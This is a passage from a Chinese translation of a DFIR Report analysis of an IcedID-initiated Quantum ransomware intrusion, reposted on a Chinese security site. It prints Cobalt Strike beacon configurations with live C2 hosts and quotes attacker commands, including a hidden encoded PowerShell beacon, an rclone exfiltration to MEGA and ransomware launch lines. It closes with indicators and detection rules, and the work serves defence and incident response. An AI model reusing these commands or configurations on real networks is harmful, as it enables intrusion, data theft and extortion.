{  "beacontype": [    "HTTPS"  ],  "sleeptime": 5000,  "jitter": 28,  "maxgetsize": 1865903,  "spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",  "license_id": 0,  "cfg_caution": false,  "kill_date": null,  "server": {    "hostname": "fazehotafa.com",    "port": 443,    "publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC1nAS8+PqMnQs3hynG2JDgMQK6ZqLkIoDXWnqaOS/dQsdKBHE0Ify/HIZ2ntSpyMtvomDHCA98pCEi1L7mT0mvfiYapP9Aj776rDpzXMYNiRk1BWrAzJqzLcfwzxJx26hL1VSu1C5mWEl7JsVT/9l/kHcNYAALgNQuI0uZAqM7YQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="  },  "host_header": "",  "useragent_header": null,  "http-get": {    "uri": "/ak.css",    "verb": "GET",    "client": {      "headers": null,      "metadata": null    },    "server": {      "output": [        "print",        "prepend 1767 characters",        "base64",        "base64url"      ]    }  },  "http-post": {    "uri": "/profile",    "verb": "POST",    "client": {      "headers": null,      "id": null,      "output": null    }  },  "tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",  "crypto_scheme": 0,  "proxy": {    "type": null,    "username": null,    "password": null,    "behavior": "Use IE settings"  },  "http_post_chunk": 0,  "uses_cookies": true,  "post-ex": {    "spawnto_x86": "%windir%\syswow64\rundll32.exe",    "spawnto_x64": "%windir%\sysnative\rundll32.exe"  },  "process-inject": {    "allocator": "VirtualAllocEx",    "execute": [      "CreateThread",      "CreateRemoteThread",      "RtlCreateUserThread"    ],    "min_alloc": 9369,    "startrwx": false,    "stub": "Ms1B7fCBDFtfSY7fRzHMbQ==",    "transform-x86": [      "prepend '\x90\x90\x90\x90\x90\x90\x90\x90'"    ],    "transform-x64": [      "prepend '\x90\x90\x90\x90\x90\x90\x90\x90'"    ],    "userwx": false  },  "dns-beacon": {    "dns_idle": null,    "dns_sleep": null,    "maxdns": null,    "beacon": null,    "get_A": null,    "get_AAAA": null,    "get_TXT": null,    "put_metadata": null,    "put_output": null  },  "pipename": null,  "smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",  "stage": {    "cleanup": true  },  "ssh": {    "hostname": null,    "port": null,    "username": null,    "password": null,    "privatekey": null  }}

其他的C2服务器配置如下

{    "beacontype": [        "HTTPS"    ],    "sleeptime": 60000,    "jitter": 0,    "maxgetsize": 1048576,    "spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",    "license_id": 0,    "cfg_caution": false,    "kill_date": null,    "server": {        "hostname": "111.90.143.191",        "port": 443,        "publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnOM3nXx+7HBhkbDd+AwFrFisSunK999w2tM0uTpuuEiBalcJhcL+QgQWtf6S7zPp5hjImG+2YcPl18geU4f5JlSPXHwilbK4DFb/ePWyKFjhrA7emVRqhM21QMlo1ANsn14rY/RO2pzuft8P7TXoIjjI/B2GGVuzYNZX6X4I2EwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="    },    "host_header": "",    "useragent_header": null,    "http-get": {        "uri": "/j.ad",        "verb": "GET",        "client": {            "headers": null,            "metadata": null        },        "server": {            "output": [                "print"            ]        }    },    "http-post": {        "uri": "/submit.php",        "verb": "POST",        "client": {            "headers": null,            "id": null,            "output": null        }    },    "tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",    "crypto_scheme": 0,    "proxy": {        "type": null,        "username": null,        "password": null,        "behavior": "Use IE settings"    },    "http_post_chunk": 0,    "uses_cookies": true,    "post-ex": {        "spawnto_x86": "%windir%\syswow64\rundll32.exe",        "spawnto_x64": "%windir%\sysnative\rundll32.exe"    },    "process-inject": {        "allocator": "VirtualAllocEx",        "execute": [            "CreateThread",            "SetThreadContext",            "CreateRemoteThread",            "RtlCreateUserThread"        ],        "min_alloc": 0,        "startrwx": true,        "stub": "Ms1B7fCBDFtfSY7fRzHMbQ==",        "transform-x86": null,        "transform-x64": null,        "userwx": true    },    "dns-beacon": {        "dns_idle": null,        "dns_sleep": null,        "maxdns": null,        "beacon": null,        "get_A": null,        "get_AAAA": null,        "get_TXT": null,        "put_metadata": null,        "put_output": null    },    "pipename": null,    "smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",    "stage": {        "cleanup": false    },    "ssh": {        "hostname": null,        "port": null,        "username": null,        "password": null,        "privatekey": null    }}
{"beacontype": ["HTTPS"    ],"sleeptime": 60000,"jitter": 0,"maxgetsize": 1048576,"spawnto": "AAAAAAAAAAAAAAAAAAAAAA==","license_id": 305419776,"cfg_caution": false,"kill_date": null,"server": {"hostname": "78.128.112.139","port": 443,"publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnOM3nXx+7HBhkbDd+AwFrFisSunK999w2tM0uTpuuEiBalcJhcL+QgQWtf6S7zPp5hjImG+2YcPl18geU4f5JlSPXHwilbK4DFb/ePWyKFjhrA7emVRqhM21QMlo1ANsn14rY/RO2pzuft8P7TXoIjjI/B2GGVuzYNZX6X4I2EwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="    },"host_header": "","useragent_header": null,"http-get": {"uri": "/ga.js","verb": "GET","client": {"headers": null,"metadata": null        },"server": {"output": ["print"            ]        }    },"http-post": {"uri": "/submit.php","verb": "POST","client": {"headers": null,"id": null,"output": null        }    },"tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=","crypto_scheme": 0,"proxy": {"type": null,"username": null,"password": null,"behavior": "Use IE settings"    },"http_post_chunk": 0,"uses_cookies": true,"post-ex": {"spawnto_x86": "%windir%\syswow64\rundll32.exe","spawnto_x64": "%windir%\sysnative\rundll32.exe"    },"process-inject": {"allocator": "VirtualAllocEx","execute": ["CreateThread","SetThreadContext","CreateRemoteThread","RtlCreateUserThread"        ],"min_alloc": 0,"startrwx": true,"stub": "tUr+Aexqde3zXhpE+L05KQ==","transform-x86": null,"transform-x64": null,"userwx": true    },"dns-beacon": {"dns_idle": null,"dns_sleep": null,"maxdns": null,"beacon": null,"get_A": null,"get_AAAA": null,"get_TXT": null,"put_metadata": null,"put_output": null    },"pipename": null,"smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=","stage": {"cleanup": false    },"ssh": {"hostname": null,"port": null,"username": null,"password": null,"privatekey": null    }}

远程控制软件

如上所示,攻击者使用了三种不同的远程控制软件:

  • Atera

  • Splashtop

  • AnyDesk

目前尚不清楚为什么攻击者要使用三种不同的工具来建立交互式和持久的远程控制通道。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

AnyDesk的密码手动输入在命令行中:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

powershell -np -w hidden -encodedcommand JABzAD0ATgBlAHcAL [.....] --> CS beacon  --> "c:windowssyswow64windowspowershellv1.0powershell.exe" -Version 5.1 -s -NoLogo -NoProfile    -->  C:Windowssystem32cmd.exe /C cmd.exe /c echo Qwerty123!@#_! | C:ProgramDataanydesk.exe --set-password

这些软件包捆绑在一个名为 hp.msi 的 Microsoft 软件安装程序 (MSI) 包中。这是从 ProgramData 文件夹安装的,该活动可以与 MSI 安装程序事件(事件 ID 1033)的应用程序日志相关联。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

【DFIR报告翻译】恶意ISO文件导致全域勒索加密
11
窃取数据

在入侵期间,观察到攻击者使用notepad.exe访问收集的数据,例如 ShareFinder.txt,然后将内容复制到剪贴板。虽然进程活动表明正在使用 Active Directory 帐户,但将此活动与剪贴板活动相关联表明匹配会话、进程 ID 和用户的真实来源。在这种情况下,ShareFinder.txt 是由 ShareFinder.ps1 脚本在 ProgramData 文件夹中创建的。大约 2 秒后,攻击者访问了该文件并复制了内容。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

虽然攻击者尝试代理 RDP 流量并最小化外部 RDP 访问,但我们在几条日志中发现攻击者使用的终端和IP信息。Sysmon 事件 ID 24 将攻击者主机名 HYPERV 和 IPv4 地址 199.101.184[.]230 联系起来。此主机名也在安全事件中:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

例如,与用户断开终端会话连接的事件 4779 会显示源计算机的客户端名称。客户端地址是代理 RDP 流量的内部计算机。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

泄漏的文件在远程计算机中打开

在入侵的第二天,来自该组织的文件被从 212.102.59[.]162 和 165.231.182[.]14 远程打开。这发生在使用 Rclone 之前,这让我们相信文件是通过加密的 C2 通道之一泄露的。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

Rclone

在备份服务器上,攻击者使用rclone.exe将数据传输到MEGA云存储上。

rclone.exe  copy --max-age 5y "\[REDACTED BACKUP]E:[REDACTED]" remote:Groups --exclude "*.{psd,7z,dwg,rar,MTS,MOV,pst,PRF,mp3,skp,tmp,gcp,zip,ZIP,MP4,tiff,ava4,psb,tif,DNG,AVI,FIT,FIL,mp4,dxf,mov,rcs,mdb,iso,json,man,exe,gz,ISO,dll,BAK,bak,tib,MP3,tar,m4v,vmdk,vm,PBD,db,BAKDB,icon,msi,ai,gif,cab,iso,png,eps,lib,avi,msg,crs,LIB,CRS,mpg,dcm,tif}" -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P

从rclone的配置文件中,我们发现了攻击者的邮箱和密码:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

[email protected]
【DFIR报告翻译】恶意ISO文件导致全域勒索加密
12
目标达成

弹窗告警

不可思议的是,攻击者在部署勒索病毒三小时前,曾通过Cobalt Strike会话执行命令,在失陷主机中弹窗警告。

译者注:用的可能是盗版CS ?

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

弹窗告警如下:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

在PowerShell日志中也可以看到命令执行记录:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

Ransomware

攻击者在入侵第四天时投放了勒索软件二进制程序,在弹窗警告的40分钟后,攻击者在备份服务器上投递了locker_64.exe,他们创建了一个2.txt的文件,并将内网探测收集到的主机列表存放在文件内。locker_64.exe重命名为64.exe,并以2.txt做为参数启动。

64.exe /[email protected]

攻击者试图在目标列表中的所有主机上执行恶意软件,但只观察到在备份服务器上执行。这次攻击者随后使用 DLL 在另一台服务器上再次尝试执行:

rundll32 locker_32.dll,run /[email protected]

同样,仅观察到在本地服务器上的执行。然后,他们在第三台服务器上执行了一个新的 Cobalt Strike PowerShell 载荷,并使用它执行了 勒索软件。

"c:windowssyswow64windowspowershellv1.0powershell.exe" -Version 5.1 -s -NoLogo -NoProfile     ➝ C:Windowssystem32cmd.exe /C locker_64.exe

然后他们打开一个 RDP 连接回到域控服务器上,并继续尝试再次执行带有目标列表的二进制文件。在只影响单个主机之后,攻击者在服务器上投放了几个批处理脚本:

pass.bat1.bat2.bat

脚本 pass.bat 继续将域中的所有用户帐户重置为攻击者设置的单个密码。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

在2分钟内出现了1000多条Windows安全日志事件ID 4724的事件。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

重置密码后下一个批处理脚本会执行,同时做一些防止数据恢复的操作。1.bat将勒索软件复制到其他的主机上。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

最后2.bat使用重置后的密码调用psexec在所有远程主机上执行勒索软件。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

当Quantum勒索软件运行时,会产生一些带有Quantum特征的注册表日志:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

随后在失陷主机中生成HTML格式的勒索信:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

勒索信如下:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

检测到的勒索软件程序如下:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

【DFIR报告翻译】恶意ISO文件导致全域勒索加密
钻石模型
【DFIR报告翻译】恶意ISO文件导致全域勒索加密
入侵指标
【DFIR报告翻译】恶意ISO文件导致全域勒索加密

网络侧

IcedID:

alockajilly.com
zoomersoidfor.com
choifejuce.lol
opiransiuera.com
erinindiaka.quest
opiransiuera.com
zoomersoidfor.com
considerf.info
antiflamez.bar
www.onlinecloud.cloud
64.227.12.180:80
5.196.103.145:443
66.63.188.70:443
178.128.85.30:443
5.252.177.10:443
46.101.19.119:443
Cobalt Strike:

fazehotafa.com
guteyutu.com
45.66.151.109
172.93.181.165
111.90.143.191
78.128.112.139
Mega User:
goodvibe888@proton[.]me

Attacker Infrastructure:
199.127.60[.]117
199.101.184[.]230

终端侧

Invoice-09-28#268_PDF.iso
515047b6ce410001696812bc85e197d1
26b11c95a6a324dbb0ab32428361b0531234ecee
68f971a1b391f809058e83058a2037d29c28a8a21fd618b0d952466c632ff1be

documents.lnk
1af7a0e058ce1b63b138a1425a835561
66b8da857c6dc45dea3a9fb17a503b3c2d203245
1ee563caf943d3a7ed315dda9c37f0c9c445eec6dfb78ae196d2989626a0dfec

eyewear.bat
0d51c60c67c62836ba0f7948113b3737
a597205ed55b6e6413a17edb62cbb29bda735676
999cba918c297bf0b0d7d4aa9003e6338cc300a9270cc758d1d108c26603417d

easygoing.dat
f102a95e749d1ee63c71df902856ae51
fda81b5951bb02ef0236088c310d9bc4fa70e1e6
f27d924911a7087928012764358bad9240b2ba8aeeca5e0d717abdbb82344981

rapuab1.dll
ce1b0e77a31da8dc68f77a977b04f3e4
5facd0aa9a29e0768ab9f432c79eac173af69711
163800b0fbf1b1b7bbc7f719df421ed717111c7c9ddea9c9b41f898ee22dd51a

9bd6b1f24b9589a3fbc1d54b6e6184b8
f8473c6c8b298a3d72c8ca890667eddab62d2ba8
03a9d6afc99e70333723d921bd1265ac948cdabb8b15689b5ceb1c02365a9572

beacA.dll
1b1497c2758ff5a8ade2df336a7a6c2d
d6cc874f84797813c225318b877eace04ca5f5a1
47ed0d1c7d8abc159d1eb2bb9fbe037f38b0846217cc11132652734f93ad5678

beaconM-1664297797-T0B9Z_32-cr.exe
dbb08886c60f3c44b377d09bd9d8b6d3
7262b7df4d90409fb141856d9b55792872deda20
8f7cc7cc14a12753d41678981b929546d12218d457a9d22951808cb5f19e549c

df5ce1159ef2e257df92e1825d786d87
a7e163eaa0fc2afb9c0d5ac6f79cb3e49919dd3c
842737b5c36f624c9420a005239b04876990a2c4011db87fe67504fa09281031

AD.bat
e77f23aac8db0d23196b6bef64fe04fc
90bf77e194970dd74d1b49faf58ae395ce49bb34
c2ebcc389304539bc13c3d2023cf88f9ea0bac7210fefa03f8333eaab0bbb76d

ns.bat
7ac356035fce31e9e14c3a3d371ddf41
61f838d9b0998ab23877e86f6e8ba3551799e07c
4f52c7448bdcb4caa2eff701b0f3b60b406aea278ecd5a3b23cac808a65418e7

92edbbeff775928cfc6e3c8efefe4ecc
fffa0ce086791c41360971e3ce6a0d1af1701616
fc4da07183de876a2b8ed1b35ec1e2657400da9d99a313452162399c519dbfc6

955d0cf317efe48bf0394330fcd82ebb
d84d40038311e188e25c78389b51b900de9c69bd
e9da08831e0d4395f697e4f18c87be941bf52c79d84da1cc88186bdea1ebf4f4

lsass.dll
adc50d0c1e7bf37288a612a0f278e028
6254e8cca47d87f29e85627a08ba88b79915a459
fafc84466c1ce361bb6ce219bde2b64ca07a6a6feda23f444749ba06c44b0580

397020072f5787dbbc0c344f98623bbd
970e793c86266b20d280c04e0f41ec7ae9c2093c
6511d6e84343c2d3a4cd36853170509e2751e27c86f67c6a031dc88e7e495e48

601d613bff412d245e3edf46dc499d83
a39b9119003c63583e2a0f11f19f3e6050399176
2a2c83a7c8cd33e45dc14b8d955e00161580d6d2736f4e75a235aa3eb2f21528

locker_32.dll
131d277cfbc9f4b2d667150d84ad503d
f05ff93ee4d2f31bc70c0484a559d562203b7700
a378b8e9173f4a5469e7b5105be40723af29cbd6ee00d3b13ff437dae4514dff

license.dat
b31de50a57e8cb73c9efda8b97ffa261
a7e3f617644599ec695da84d140a7b69c392a421
55be890947d021fcc8c29af3c7aaf70d8132f222e944719c

检测规则相关

Suricata规则

ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike
ET Threatview.io High Confidence Cobalt Strike C2 IP group 2
ET INFO Pastebin-style Service (textbin .net in TLS SNI)
ET INFO Splashtop Domain (splashtop .com) in TLS SNI
ET INFO Splashtop Domain in DNS Lookup (splashtop .com)
ET MALWARE Meterpreter or Other Reverse Shell SSL Cert
ET POLICY PE EXE or DLL Windows file download HTTP
ET INFO Dotted Quad Host DLL Request
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
ET HUNTING Suspicious lsass.exe in URI
ET MALWARE Win32/IcedID Request Cookie
ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software)
ET USER_AGENTS AnyDesk Remote Desktop Software User-Agent
ET EXPLOIT Possible Zerologon Phase 1/3 - NetrServerReqChallenge with 0x00 Client Challenge (CVE-2020-1472)
ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate2 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M1
ET EXPLOIT Zerologon Phase 3/3 - Malicious NetrServerPasswordSet2 (CVE-2020-1472)

Sigma

https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_uninstall_defender.yml
https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_winevent_security_query.yml
https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_chcp_codepage_locale_lookup.yml
https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_adfind_discovery.yml
https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_system_time_lookup.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/pipe_created/pipe_created_mal_cobaltstrike.yml
https://github.com/NVISOsecurity/sigma-public/blob/master/rules/windows/process_creation/win_susp_recon_activity.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_hktl_mimikatz_command_line.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_sysinternals_procdump.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_sysinternals_procdump_lsass.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_nltest_recon.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_lolbin_not_from_c_drive.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_powershell_base64_encoded_cmd.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_hktl_meterpreter_getsystem.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/system/win_system_service_install_remote_access_software.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_wmic_process_creation.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_lsass.yml
https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_cobaltstrike_operator_bloopers_cmds.yml

Yara

win_cobalt_strike_auto
CobaltStrike__Resources_Artifact32_and_Resources_Dropper_v1_45_to_v4_x.yara
https://github.com/The-DFIR-Report/Yara-Rules/blob/main/18041/18041.yar

TTPs

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

Spearphishing Attachment - T1566.001
Windows Management Instrumentation - T1047
Windows Command Shell - T1059.003
Malicious File - T1204.002
PowerShell - T1086
Service Execution - T1035
Scheduled Task - T1053.005
Exploitation for Privilege Escalation - T1068
Access Token Manipulation - T1134
Regsvr32 - T1218.010
Rundll32 - T1218.011
DCSync - T1003.006
LSASS Memory - T1003.001
Domain Trust Discovery - T1482
System Information Discovery - T1082
Remote System Discovery - T1018
Group Policy Discovery - T1615
System Language Discovery - T1614.001
System Time Discovery - T1124
Network Share Discovery - T1135
Domain Account - T1087.002
File and Directory Discovery - T1083
Remote Desktop Protocol - T1021.001
SMB/Windows Admin Shares - T1021.002
Lateral Tool Transfer - T1570
Windows Remote Management - T1021.006
Local Data Staging - T1074.001
Web Protocols - T1071.001
Exfiltration to Cloud Storage - T1567.002
Data Encrypted for Impact - T1486
Account Access Removal - T1531
Disable or Modify Tools - T1562.001
Mark-of-the-Web Bypass - T1553.005
System Owner/User Discovery - T1033

S0002 - Mimikatz
S0154 - Cobalt Strike
S0359 - Nltest
S0039 - Net
S0096 - Systeminfo
S0100 - IPconfig
S0552 - AdFind
【DFIR报告翻译】恶意ISO文件导致全域勒索加密
参考链接

https://www.malware-traffic-analysis.net/2022/09/23/index.html

https://attack.mitre.org/techniques/T1553/005/

https://learn.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/remote-server-administration-tools

https://www.huntress.com/blog/addressing-initial-access

https://github.com/nsacyber/Event-Forwarding-Guidance/blob/master/Events/README.md

https://github.com/Und3rf10w/Aggressor-scripts/blob/master/kits/AnnoyKit/scripts/Open-HiddenInternetExplorer.ps1

https://car.mitre.org/analytics/CAR-2021-02-002/

https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike

https://posts.specterops.io/entity-based-detection-engineering-with-bloodhound-enterprise-b4dce3963d66

https://lolbas-project.github.io/

https://github.com/logpresso/community/blob/main/contents/006_How_to_analyze_Internet_Explorer_Logs.md

https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639

https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/

https://fareedfauzi.gitbook.io/oscp-playbook/windows-post-exploitation/automated-enumeration-script

https://github.com/mandiant/capa

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月5日00:02:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【DFIR报告翻译】恶意ISO文件导致全域勒索加密http://cn-sec.com/archives/1653421.html

发表评论

匿名网友 填写信息